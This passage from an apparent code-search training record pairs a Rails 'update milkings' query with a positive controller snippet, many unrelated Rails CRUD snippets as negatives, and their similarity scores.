do |format|\n format.html # new.html.erb\n format.json { render json: @kpt }\n end\n end", "def bike_params\n params.require(:bike).permit(:status, :miles, :last_fix)\n end", "def bunch_params\n params.require(:bunch).permit(:name)\n end", "def moot_params\n params.require(:moot).permit(:title, :description, :voting_start_at, :voting_ending_at)\n end", "def add_milkshake(milkshake)\n\t\t@milkshakes.push(milkshake)\n\tend", "def create\n @used_bike = UsedBike.new(used_bike_params)\n\n if @used_bike.save\n adding_images(params)\n render json: @used_bike, status: :created, serializer: Web::V1::UsedBikeSerializer\n else\n render json: @used_bike.errors, status: :unprocessable_entity\n end\n end", "def create\n @parking = Parking.new(parking_params)\n\n if @parking.save\n render :show, status: :created, location: @parking\n else\n render json: @parking.errors, status: :unprocessable_entity\n end\n end", "def create\n @bathroom = Bathroom.new(bathroom_params.except(:stalls))\n num_stalls = bathroom_params[:stalls].to_i\n\n respond_to do |format|\n if @bathroom.save\n (0..(num_stalls - 1)).each do |i|\n Stall.new({ bathroom_id: @bathroom.id, state: false, number: @bathroom.stalls.count }).save\n end\n format.html { redirect_to @bathroom, notice: 'Bathroom was successfully created.' }\n format.json { render :show, status: :created, location: @bathroom }\n else\n format.html { render :new }\n format.json { render json: @bathroom.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spiking = Spiking.new(spiking_params)\n\n respond_to do |format|\n if @spiking.save\n format.html { redirect_to @spiking, notice: 'Spiking was successfully created.' }\n format.json { render action: 'show', status: :created, location: @spiking }\n else\n format.html { render action: 'new' }\n format.json { render json: @spiking.errors, status: :unprocessable_entity }\n end\n end\n end", "def kishangarh_marble_params\n params.require(:kishangarh_marble).permit(:name, :price,:kishangarh_marble_pics,:category,:zoom_image)\n end", "def listing_params\n params.require(:listing).permit(:name, :time, :location, :body, :category)\n end", "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "def create\n @parking = Parking.new(parking_params)\n respond_to do |format|\n if @parking.save\n @total_spots = Parking.all.count\n number_of_spots = 7\n @spots_available = number_of_spots - @total_spots\n unless Parking.last.nil?\n @current_parking_info = Parking.last\n @time_difference = TimeDifference.between(Time.now, @current_parking_info.created_at).in_hours.floor\n @amount_due = final_payment(@time_difference)\n end\n format.js\n format.html { redirect_to @parking, notice: 'Parking was successfully created.' }\n format.json { render :show, status: :created, location: @parking }\n else\n format.html { render :new }\n format.json { render json: @parking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end", "def create\n @onske = Onske.new(params[:onske])\n\n respond_to do |format|\n if @onske.save\n format.html { redirect_to @onske, notice: 'Onske was successfully created.' }\n format.json { render json: @onske, status: :created, location: @onske }\n else\n format.html { render action: \"new\" }\n format.json { render json: @onske.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n\n @pizza.user_id = current_user.id\n\n params[:topping_ids].each do |tid|\n topping = Topping.find_by_id(tid)\n @pizza.toppings << topping\n end\n\n respond_to do |format|\n if @pizza.save\n format.html { redirect_to @pizza, notice: 'Pizza was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pizza }\n else\n format.html { render action: 'new' }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n end", "def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end", "def millesime_params\n p = params.require(:millesime).permit(:year, :garde, :wine_id, :notes)\n if params[:millesime][:void_millesime] == 1\n p[:millesime][:year] = nil\n p[:millesime][:garde] = nil\n end\n\n p\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def meal_posting_params\n params.require(:meal_posting).permit(\n :base_time,\n :end_time,\n :title,\n :description,\n :allergy_notice,\n :servings,\n :cost,\n :image,\n :category_id,\n :date\n )\n end", "def create\n @litter = Litter.new(params[:litter])\n @pig = Pig.find(@litter.sow_id)\n @no_of_piglets = params[:no_of_piglets].to_i\n \n @no_of_piglets.times do\n Pig.create(name: @pig.name + ' piglet', status: alive_id, dob: Time.now, litter: @litter)\n end\n\n respond_to do |format|\n if @litter.save\n format.html { redirect_to @litter, notice: 'Litter was successfully created with ' + @no_of_piglets.to_s + ' piglets' }\n format.json { render json: @litter, status: :created, location: @litter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @litter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @recruiter = current_user\n @posting = @recruiter.recruiter_postings.build(posting_params)\n puts \"posting #{@posting.inspect}\"\n # fail\n respond_to do |format|\n if @posting.save \n format.html { redirect_to @posting, notice: 'Posting was successfully created.' }\n format.json { render :show, status: :created, location: @posting }\n else\n format.html { render :new }\n format.json { render json: @posting.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @potluck_recipe = PotluckRecipe.new(potluck_recipe_params)\n if @potluck_recipe.save\n render json: {result: @potluck_recipe}\n else\n render json: { result: @potluck_recipe.errors, status: :unprocessable_entity }\n end\n end", "def create\n @mill = Mill.new(params[:mill])\n\n respond_to do |format|\n if @mill.save\n format.html { redirect_to @mill, notice: 'Mill was successfully created.' }\n format.json { render json: @mill, status: :created, location: @mill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mill.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end", "def index\n ingredients = params[:ingredients]\n if params[:limit]\n searchlimit = params[:limit]\n else\n searchlimit = '10'\n end\n\n require 'nokogiri'\n require 'uri-handler'\n require 'open-uri'\n\n ingredients = ingredients.to_uri\n doc = Nokogiri::HTML(open(\"http://www.webtender.com/cgi-bin/search?name=&ingr=#{ingredients}&what=drink&show=#{searchlimit}&verbose=on\"))\n index = 0\n\n drinknames = []\n ings = []\n cocktails = Hash.new\n\n doc.css(\"td[width='90%']\").each do |node|\n # puts node.xpath('/a').text\n drinknames[index] = node.css('a').text\n ings = node.css(\"small\")[1].text\n\n ings.gsub!('Ingredients: ', '')\n ings = ings.split(', ')\n\n\n cocktails[drinknames[index]] = [ings]\n\n index += 1\n end\n\n respond_to do |format|\n format.json { render :json => cocktails }\n end\n end", "def create\n\n species = Faker::Games::Pokemon.name\n nickname = Faker::Name.first_name\n trainer = Trainer.find(params[:trainer_id])\n if trainer.pokemons.length < 6\n pokemon = Pokemon.create(nickname: nickname, species: species, trainer_id: params[:trainer_id])\n render json: pokemon\n else\n render json: {message: \"Pokemon cannot be created\"}, status: 400\n end\n end", "def create\n @sighting = Sighting.new(sighting_params)\n\n if @sighting.save\n render json: @sighting, status: :created, location: @sighting\n else\n render json: @sighting.errors, status: :unprocessable_entity\n end\n end", "def kinofilm_params\n params.require(:kinofilm).permit( :post_title, :post_name, :post_content, :post_status, :sticky, :custom_fields, :movies_length, :event_imdb_url, :poster, :poster_big, :trailer, :kinopoisk_id, :main_price, :_import, :_update, :_create, :_destroy)#cocoon_marker_start\n end", "def create\n @kingsizeb = Kingsizeb.new(kingsizeb_params)\n\n respond_to do |format|\n if @kingsizeb.save\n format.html { redirect_to @kingsizeb, notice: 'Kingsizeb was successfully created.' }\n format.json { render :show, status: :created, location: @kingsizeb }\n else\n format.html { render :new }\n format.json { render json: @kingsizeb.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bookkeeping = @group.bookkeepings.new()\n @bookkeeping.attributes = bookkeeping_params\n @bookkeeping.writer_id = current_user.id\n if @bookkeeping.save\n render json: @bookkeeping, status: :created, location: @bookkeeping\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end", "def create\n @sighting = Sighting.new(sighting_params)\n\n if @sighting.save\n render json: @sighting, status: :created, location: @sighting\n else\n render json: @sighting.errors, status: :unprocessable_entity\n end\n end", "def create\n @kitten = Kitten.new(params[:kitten])\n\n respond_to do |format|\n if @kitten.save\n format.html { redirect_to @kitten, notice: 'Kitten was successfully created.' }\n format.json { render json: @kitten, status: :created, location: @kitten }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kitten.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @kickoff = Kickoff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kickoff }\n end\n end", "def create\n @parking_spot = ParkingSpot.new(params[:parking_spot])\n\n respond_to do |format|\n if @parking_spot.save\n format.html { redirect_to @parking_spot, notice: 'Parking spot was successfully created.' }\n format.json { render json: @parking_spot, status: :created, location: @parking_spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @parking_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def create\n @kickoff = Kickoff.new(params[:kickoff])\n\n respond_to do |format|\n if @kickoff.save\n format.html { redirect_to @kickoff, notice: 'Kickoff was successfully created.' }\n format.json { render json: @kickoff, status: :created, location: @kickoff }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kickoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seeker = Seeker.new(seeker_params)\n @seeker.user_id = User.find(session[:user_id]).uid\n @seeker.skill_list.add(params[:seeker][:skill_list].to_s.downcase, parse: true)\n\n respond_to do |format|\n if @seeker.save\n format.html { redirect_to root_path, notice: 'Seeker was successfully created.' }\n format.json { render action: 'show', status: :created, location: @seeker }\n else\n format.html { render action: 'new' }\n format.json { render json: @seeker.errors, status: :unprocessable_entity }\n end\n end\n end", "def medical_params\n params.require(:medical).permit(:allergies, :smoker)\n end", "def create\n @wing = Wing.new(wing_params)\n\n respond_to do |format|\n if @wing.save\n format.html { redirect_to @wing, notice: 'Wing was successfully created.' }\n format.json { render :show, status: :created, location: @wing }\n else\n format.html { render :new }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @parking_meter = ParkingMeter.new(parking_meter_params)\n\n respond_to do |format|\n if @parking_meter.save\n format.html { redirect_to @parking_meter, notice: 'Parking meter was successfully created.' }\n format.json { render :show, status: :created, location: @parking_meter }\n else\n format.html { render :new }\n format.json { render json: @parking_meter.errors, status: :unprocessable_entity }\n end\n end\n end", "def ketamine_params\n params.require(:ketamine).permit(:name, :drug_name, :title, :size_mb, :records, :file, :formula, :chemistry, :legal_status, :clinical_data, :cas_number, :side_effects)\n end", "def create\n @bill = Bill.new(params[:bill])\n #@bill = Bill.new(params[:id])\n # @bill.items.build\n #3.times { @bill.items.build }\n #@bill.items.build\n @bill.created_at = Time.now \n\n respond_to do |format|\n if @bill.save\n format.html { redirect_to new_bill_path, notice: 'Bill was successfully created.' }\n #format.json { render json: '/bills/new', status: :created, location: @bill }\n #format.html #index.html.erb\n #format.json { render json: @bill }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def postReadings(info, state)\r\n params = {\r\n :device_id => info.deviceId,\r\n :sensor_data => [\r\n {\r\n :type => \"Temperature\",\r\n :value => state.temperature,\r\n :time => Time.now.to_i\r\n },\r\n {\r\n :type => \"Humidity\",\r\n :value => state.humidity,\r\n :time => Time.now.to_i\r\n }\r\n ]\r\n }\r\n res = apiPostJson(\"readings\", params)\r\n if res.status != 201\r\n $LOG.warn(\"Failed to post readings to backend! Status: #{res.status}, Response: #{res.body}\")\r\n end\r\n end", "def tombstone_timehold_params_from_lomat\n params.permit(:tombstoneJSON, :permanent, :rating)\n end", "def create\n sighting = Sighting.create(sighting_params)\n if sighting.valid?\n render json: sighting\n else\n render json: sighting.errors\n end\n end", "def trainings\n render json: @plan.trainings\n end", "def create\n @collection = Collection.new(collection_params)\n build_kiosks(params)\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @api_v1_mentorings = Api::V1::Mentoring.all\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def job_postings\n @job_postings ||= convert_to_json data \n end", "def create\n @bowling = Bowling.new(bowling_params)\n\n respond_to do |format|\n if @bowling.save\n format.html { redirect_to @bowling, notice: 'Bowling was successfully created.' }\n format.json { render :show, status: :created, location: @bowling }\n else\n format.html { render :new }\n format.json { render json: @bowling.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @api_v1_mentoring = Api::V1::Mentoring.new(api_v1_mentoring_params)\n\n respond_to do |format|\n if @api_v1_mentoring.save\n format.html { redirect_to @api_v1_mentoring, notice: 'Mentoring was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_mentoring }\n else\n format.html { render :new }\n format.json { render json: @api_v1_mentoring.errors, status: :unprocessable_entity }\n end\n end\n end", "def makrana_marble_params\n params.require(:makrana_marble).permit(:name, :price,:makrana_marble_pics,:category,:zoom_image)\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def create_songs\n 5.times do |i|\n url = \"https://stg-resque.hakuapp.com/songs.json?album_id=#{i+1}\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n songs = JSON.parse(response)\n\n songs.each do |song|\n Song.create!(song.except('id'))\n end\n end\nend", "def index\n @smokings = Smoking.all\n end", "def create\n @bill = Bill.new.extend(Billit::BillRepresenter)\n @bill.from_json(request.body.read)\n @bill.save\n begin\n Sunspot.index!(@bill)\n rescue\n puts \"#{$!}\"\n puts \"unindexed bill: \" + @bill.uid\n end\n respond_with @bill, :represent_with => Billit::BillRepresenter\n end", "def create\n @bidding = Bidding.new(params[:bidding])\n\n respond_to do |format|\n if @bidding.save\n format.html { redirect_to @bidding, notice: 'Bidding was successfully created.' }\n format.json { render json: @bidding, status: :created, location: @bidding }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bidding.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n passenger = Passenger.new(:name => params[:name], :contact_number => params[:contact_number], :nationality => params[:nationality], :meal_pref => params[:meal_pref])\n passenger.save\n render :json => passenger\n end", "def create\n @precious_metal = PreciousMetal.new(params[:precious_metal])\n\n respond_to do |format|\n if @precious_metal.save\n format.html { redirect_to @precious_metal, :notice => 'Precious metal was successfully created.' }\n format.json { render :json => @precious_metal, :status => :created, :location => @precious_metal }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @precious_metal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_pokemon_params\n params.require(:pokemon).permit(:id, :num, :name, :img, :height, :weight, :candy, :candy_count, :egg, :avg_spawns, :spawn_time)\n end", "def breast_feeding_params\n params.require(:breast_feeding).permit(:quantity, :duration, :baby_id)\n end", "def create\n # создать новую заявку на канцелярию\n @stationeryrequest = Stationeryrequest.new\n # инициализировать значения полей заявки\n @stationeryrequest.status = 0\n @stationeryrequest.employee_id = session[:employee_id].to_i\n @stationeryrequest.save\n if(params[:selected_items] && params[:numbers])\n @selected_items = params[:selected_items]\n @numbers = params[:numbers]\n @selected_items.each do |item|\n @hotelsuppliesrequest = Hotelsuppliesrequest.new\n @hotelsuppliesrequest.stationeryrequest_id = @stationeryrequest.id\n @hotelsuppliesrequest.hotelsupply_id = item\n @hotelsuppliesrequest.num = @numbers[item]\n @hotelsuppliesrequest.save\n end\n end\n\n respond_to do |format|\n if true\n format.html { redirect_to '/stationeryrequests', notice: 'Stationeryrequest was successfully created.' }\n format.json { render json: @stationeryrequest, status: :created, location: @stationeryrequest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stationeryrequest.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot_listing = current_user.spot_listings.build(params[:spot_listing])\n @spot_listing.completed = false\n respond_to do |format|\n if @spot_listing.save\n format.html { redirect_to user_dashboard_url, notice: 'Your listing has been successfully created' }\n format.json { render json: @spot_listing, status: :created, location: @spot_listing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot_listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def keg_params\n params.require(:keg).permit(:name, :drink_id, :startDate, :endDate, :capacity, :price)\n end", "def posting_params\n params.require(:posting).permit(:recruiter_id, :companies_id, :headline, :job_type, :industry, :region, :market_cap, :ownership, :description, :avatar)\n\n end", "def create\n @bill = Bill.new(bill_params)\n\n if @bill.save\n render json: @bill, status: :created, location: @bill\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end", "def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_id)\n\t \tPeekBooker.upd_availability(booking.timeslot_id)\n\t \t\n\t \trender json: booking, status: 201\n\t end\n\tend", "def create\n @metaskill = Metaskill.new(metaskill_params)\n\n respond_to do |format|\n if @metaskill.save\n format.html { redirect_to @metaskill, notice: 'Metaskill was successfully created.' }\n format.json { render :show, status: :created, location: @metaskill }\n else\n format.html { render :new }\n format.json { render json: @metaskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boat = Boat.new(boat_params)\n\n if @boat.save\n render json: @boat, status: :created, location: @boat\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def create\n @maling = Maling.new(maling_params)\n\n respond_to do |format|\n if @maling.save\n format.html { redirect_to @maling, notice: 'Maling was successfully created.' }\n format.json { render :show, status: :created, location: @maling }\n else\n format.html { render :new }\n format.json { render json: @maling.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end", "def create\n\n @rental = Rental.new(rental_params)\n @rental.start_time = Time.now\n respond_to do |format|\n if @rental.save\n Bike.where(:id => @rental.bike_id).update(available: 'f')\n\n format.html { redirect_to @rental, notice: 'Yay! You just rented a bike!' }\n format.json { render :show, status: :created, location: @rental }\n else\n format.html { render :new }\n format.json { render json: @rental.errors, status: :unprocessable_entity }\n end\n end\n end", "def perk_params\n params.require(:perk).permit(:name, :perk_url, :contact_url, :description, :rating, :status)\n end", "def new\n @bill = Bill.new\n @bill.items.build\n# 3.times { @bill.items.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end", "def add_ingredients\n rid = params['id']\n name = params['name']\n quant = params['quantity']\n meas = params['measurement']\n\n ingredients = {\n 'name' => name,\n 'quantity' => quant,\n 'measurement' => meas,\n }\n\n if Aws.save_ingredient_to_db(rid, ingredients)\n msg = {:notice => \"Ingredient created!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while creating ingredient!\"}\n render :json => msg\n end\n end", "def destroy\n @milk.destroy\n respond_to do |format|\n format.html { redirect_to milks_url, notice: 'Milk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @kpt = Kpt.new(params[:kpt])\n # @iteration = Iteration.find(params[:iteration_id])\n\n respond_to do |format|\n if @kpt.set_tag_body && @kpt.save\n format.html { redirect_to \"/kpts\", notice: \"#{@kpt.category}が\n 作られました。\" }\n format.json { render json: @kpt, status: :created, location: @kpt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kpt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts params[:listing]\n params[:listing][:tap_description] = params[:listing][:description].to_s + \"-\"+params[:listing][:bedrooms].to_s + \"Beds-\"+ params[:listing][:bathrooms].to_s + \"Baths -\" + params[:listing][:squarefootage].to_s + \"sq.ft\"\n @listing = Listing.new(params[:listing])\n @listing.user_id = current_user.id\n if !params[:image_file].nil?\n @uploadimages = Picture.new\n @uploadimages.upload_file_name = params[:image_file].original_filename\n @uploadimages.upload_content_type = params[:image_file].content_type\n @uploadimages.upload_file_size = params[:image_file].size\n @uploadimages.data = params[:image_file].read\n end\n respond_to do |format|\n if @listing.save\n @listings = Listing.where(:user_id => current_user.id)\n if !params[:image_file].nil?\n @uploadimages.listing_id = @listing.id\n @uploadimages.save\n end\n format.html { redirect_to '/mylistings', notice: 'Listing was successfully created.' }\n format.json { render json: @listings, status: :created, location: @listing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6361471", "0.62964416", "0.6223238", "0.57412857", "0.56359684", "0.5565875", "0.5513819", "0.53283995", "0.5263429", "0.52066356", "0.51924175", "0.51613617", "0.50835055", "0.5072544", "0.5070885", "0.5049614", "0.50411654", "0.5041085", "0.5041061", "0.50187385", "0.50038815", "0.49999174", "0.4999313", "0.49992815", "0.49975392", "0.49949005", "0.4981912", "0.49765486", "0.497269", "0.49717826", "0.4965793", "0.49620837", "0.49544373", "0.49474153", "0.4939663", "0.4937848", "0.49363962", "0.49318615", "0.49303067", "0.49295938", "0.49281293", "0.4921143", "0.49160576", "0.49112943", "0.4902082", "0.49019602", "0.48978978", "0.48954508", "0.48949242", "0.48939493", "0.48931438", "0.48700163", "0.48698193", "0.48683918", "0.48663506", "0.48650303", "0.48614118", "0.4851529", "0.4845982", "0.4829315", "0.48259452", "0.48244736", "0.4821894", "0.48195106", "0.48124415", "0.48101708", "0.48095566", "0.48075092", "0.48063397", "0.4805471", "0.48051918", "0.48013604", "0.48007637", "0.48001307", "0.47998434", "0.47993279", "0.47915062", "0.47865435", "0.47763824", "0.477284", "0.4769722", "0.47678113", "0.4766678", "0.4761658", "0.4759046", "0.47582477", "0.47576347", "0.4756786", "0.47550434", "0.47524482", "0.4751891", "0.47490758", "0.4739814", "0.4737561", "0.473692", "0.47361195", "0.4735636", "0.4732877", "0.47311258", "0.4728595" ]
0.5449834
7
PATCH/PUT /milkings/1 PATCH/PUT /milkings/1.json
def update if @milking.update(milking_params) render :show, status: :ok, location: v1_milking_url(@milking) else render json: @milking.errors, status: :unprocessable_entity end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @milk.update(milk_params)\n format.html { redirect_to @milk, notice: 'Milk was successfully updated.' }\n format.json { render :show, status: :ok, location: @milk }\n else\n format.html { render :edit }\n format.json { render json: @milk.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kickoff = Kickoff.find(params[:id])\n\n respond_to do |format|\n if @kickoff.update_attributes(params[:kickoff])\n format.html { redirect_to @kickoff, notice: 'Kickoff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kickoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def patch!\n request! :patch\n end", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to things_path, notice: 'Your thing was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @facturation_milk = current_user.FacturationMilk.find(params[:id])\n\n respond_to do |format|\n if @facturation_milk.update_attributes(params[:facturation_milk])\n format.html { redirect_to @facturation_milk, notice: 'Facturation milk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @facturation_milk.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kitten = Kitten.find(params[:id])\n\n respond_to do |format|\n if @kitten.update_attributes(params[:kitten])\n format.html { redirect_to @kitten, notice: 'Kitten was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kitten.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @koti = Koti.find(params[:id])\n\n respond_to do |format|\n if @koti.update_attributes(params[:koti])\n format.html { redirect_to @koti, notice: 'Koti was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @koti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @smoking.update(smoking_params)\n format.html { redirect_to @smoking, notice: 'Smoking was successfully updated.' }\n format.json { render :show, status: :ok, location: @smoking }\n else\n format.html { render :edit }\n format.json { render json: @smoking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @joke = Joke.find(params[:id])\n\n respond_to do |format|\n if @joke.update_attributes(params[:joke])\n format.html { redirect_to @joke, :notice => 'Joke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @joke.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @musing.update(musing_params)\n format.html { redirect_to @musing, notice: 'Musing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @musing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end", "def update\n update_init(@raking)\n respond_to do |format|\n if @raking.update(raking_params)\n format.html { redirect_to @raking, notice: 'Raking was successfully updated.' }\n format.json { render :show, status: :ok, location: @raking }\n else\n format.html { render :edit }\n format.json { render json: @raking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # respond_to do |format|\n # if @thing.update(thing_params)\n # format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n # format.json { render :show, status: :ok, location: @thing }\n # else\n # format.html { render :edit }\n # format.json { render json: @thing.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n @kit = Kit.find(params[:id])\n\n respond_to do |format|\n if @kit.update_attributes(params[:kit])\n format.html { redirect_to @kit, notice: 'Kit was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end", "def update\n respond_to do |format|\n if @joke.update(joke_params)\n format.html { redirect_to @joke, notice: 'Joke was successfully updated.' }\n format.json { render :show, status: :ok, location: @joke }\n else\n format.html { render :edit }\n format.json { render json: @joke.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n @pizza.toppings.each do |t|\n @pizza.toppings.delete(t)\n end\n\n params[:topping_ids].each do |tid|\n topping = Topping.find_by_id(tid)\n @pizza.toppings << topping\n end\n\n if @pizza.update(pizza_params)\n format.html { redirect_to @pizza, notice: 'Pizza was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @onske = Onske.find(params[:id])\n\n respond_to do |format|\n if @onske.update_attributes(params[:onske])\n format.html { redirect_to @onske, notice: 'Onske was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onske.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n if @bill.update(params[:bill])\n head :no_content\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end", "def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n\t respond_to do |format|\n\t if @joke.update(joke_params)\n\t format.html { redirect_to @joke, notice: 'joke was successfully updated.' }\n\t format.json { render :show, status: :ok, location: @joke }\n\t else\n\t format.html { render :edit }\n\t format.json { render json: @joke.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend", "def update\n @thing = Thing.find(params[:id])\n params[:thing][:place_id] = place_id_from_form\n params[:thing][:owner_ids] = [ ] if params[:thing][:owner_ids].nil?\n params[:thing][:keeper_ids] = [ ] if params[:thing][:keeper_ids].nil?\n\n respond_to do 